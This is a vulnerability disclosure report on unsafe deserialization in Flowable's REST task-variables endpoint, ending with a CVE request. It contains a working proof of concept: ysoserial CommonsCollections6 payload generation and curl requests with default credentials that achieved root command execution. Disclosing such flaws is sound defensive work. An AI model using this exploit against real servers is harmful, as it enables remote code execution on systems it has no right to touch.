Security Vulnerability Report -- CWE-502

Summary

The TaskVariableCollectionResource's multipart/form-data endpoint directly deserializes user-uploaded file content via ObjectInputStream.readObject() without any class whitelist filtering, allowing an authenticated user to achieve remote code execution (RCE) by crafting malicious serialized objects.

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0

Static Analysis Report

Vulnerability Overview

The POST /runtime/tasks/{taskId}/variables endpoint supports uploading binary/serializable variables via multipart/form-data. When the request parameter type=serializable, the server directly uses java.io.ObjectInputStream.readObject() to deserialize the uploaded file, without applying any class whitelist/blacklist filtering. Under the default configuration rest.variables.allow.serializable=true, an authenticated attacker can upload malicious serialized payloads (such as CommonsCollections gadget chains) to achieve remote code execution.

Exploitation Prerequisites

Trigger Location

TaskVariableBaseResource.java:182-186

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // <--- unsafe deserialization
    setVariable(task, variableName, value, scope, isNew);
    stream.close();

Data Flow Overview

HTTP POST /runtime/tasks/{taskId}/variables (multipart/form-data)
  params: name=testVar, type=serializable, file=@payload.ser
  ↓
TaskVariableCollectionResource.createTaskVariable (TaskVariableCollectionResource.java:124)
  ↓
request instanceof MultipartHttpServletRequest → true
  ↓
setBinaryVariable(request, task, true) (TaskVariableBaseResource.java:123)
  ↓
variableType = request.getParameterMap()["type"][0] → "serializable"
  ↓
file = request.getFile(first key) → MultipartFile
  ↓
ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:184-185) [SINK]

Data Flow Detailed Code Analysis

Layer 1: Entry Controller

• file: TaskVariableCollectionResource.java:124-130
• External input: taskId (PathVariable), request (HttpServletRequest)
• Operation: Gets Task object, checks if request is multipart
• Passed to next layer: setBinaryVariable((MultipartHttpServletRequest) request, task, true)

Layer 2: Task Retrieval (no access control)

• file: TaskBaseResource.java:595-601
• Operation: taskService.createTaskQuery().taskId(taskId).singleResult() — no permission check

Layer 3: setBinaryVariable — parameter extraction

• file: TaskVariableBaseResource.java:123-156
• Operation: Extracts name, type, scope parameters from multipart form, gets first uploaded file

Layer 4: Type validation

• file: TaskVariableBaseResource.java:164-167
• Operation: Validates variableType must be binary or serializable, no security filtering

Layer 5: Deserialization Sink

• file: TaskVariableBaseResource.java:182-187
• External input: file.getInputStream() — user-uploaded file raw byte stream
• Operation: new ObjectInputStream(file.getInputStream()).readObject() — direct deserialization, no class filtering

CVSS Breakdown

CVSS v3.1 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8

PoC Verification Report

Flowable REST TaskVariable ObjectInputStream Deserialization RCE

Vulnerability Summary

1. Vulnerability Name: TaskVariableCollectionResource multipart/form-data unsafe deserialization RCE
2. Affected Component/Port: Flowable REST API (flowable-rest-7.1.0.war), port 8080
3. Vulnerability Description: The POST /runtime/tasks/{taskId}/variables endpoint directly uses ObjectInputStream.readObject() to deserialize uploaded file content when receiving multipart/form-data requests with type=serializable, without any class whitelist filtering. An authenticated attacker can upload malicious serialized objects generated by tools like ysoserial to achieve remote code execution.
4. Root Cause Code Snippet:

// TaskVariableBaseResource.java:182-187
} else if (isSerializableVariableAllowed) {
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // no class whitelist filtering
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}

5. Brief Data Flow:

HTTP POST multipart/form-data (type=serializable, file=@payload.ser)
  ↓
TaskVariableCollectionResource.createTaskVariable (TaskVariableCollectionResource.java:124)
  ↓
setBinaryVariable(request, task, true) (TaskVariableBaseResource.java:123)
  ↓
type validation: "serializable" passes (TaskVariableBaseResource.java:164-167)
  ↓
new ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:185) [SINK]
  ↓
gadget chain triggers → Runtime.exec() → RCE

Exploitation Conditions

Exploitation Chain Progress

Exploitation Verification

Step 1: Obtain valid taskId

curl -s -u rest-admin:test 'http://localhost:8080/flowable-rest/service/runtime/tasks?size=1' | python3 -c "import sys,json; print(json.load(sys.stdin)['data'][0]['id'])"

Actual execution result: returned taskId d89ce83e-8fff-11f1-a444-02423661ba3a (can also use existing tasks).

Step 2: Generate ysoserial CommonsCollections6 payload

Flowable WAR's classpath contains commons-collections-3.2.2.jar, CC6 gadget chain can be used. Server runs JDK 17, need to add --add-opens parameters to generate payload:

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/poc_entry_0658' > payload.ser

Actual execution result: Generated 1298-byte serialized payload file payload.ser.

Step 3: Send malicious multipart request to trigger deserialization (end-to-end attack command)

curl -s -u rest-admin:test \
  -X POST \
  -H "Content-Type: multipart/form-data" \
  -F "name=testVar" \
  -F "type=serializable" \
  -F "file=@payload.ser" \
  "http://localhost:8080/flowable-rest/service/runtime/tasks/d89ce83e-8fff-11f1-a444-02423661ba3a/variables"

Actual execution result:

• HTTP response code: 201 Created
• Response body:

{"name":"testVar","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/tasks/d89ce83e-8fff-11f1-a444-02423661ba3a/variables/testVar/data","scope":"local"}

• Server filesystem verification: ls -la /tmp/poc_entry_0658 shows file was created:

-rw-r----- 1 root root 0 Aug  4 12:28 /tmp/poc_entry_0658

Step 4: Repeatability verification

Using the same method to generate a second payload touch /tmp/poc_entry_0658_h2, after sending the request also received HTTP 201 and file was successfully created:

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/poc_entry_0658_h2' > payload_h2.ser

curl -s -u rest-admin:test \
  -X POST \
  -F "name=testVar2" -F "type=serializable" \
  -F "file=@payload_h2.ser" \
  "http://localhost:8080/flowable-rest/service/runtime/tasks/d89ce83e-8fff-11f1-a444-02423661ba3a/variables"

Result: HTTP 201, /tmp/poc_entry_0658_h2 file successfully created. Third repeat test /tmp/poc_entry_0658_h3 also succeeded.

Conclusion: An authenticated attacker can upload a ysoserial CommonsCollections6 gadget chain payload through the POST /runtime/tasks/{taskId}/variables endpoint, triggering ObjectInputStream.readObject() deserialization, executing arbitrary OS commands on the Flowable server with Tomcat process privileges (root). This vulnerability is exploitable under default configuration without any additional configuration changes. Three independent tests all successfully created server-side files, RCE fully confirmed.

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.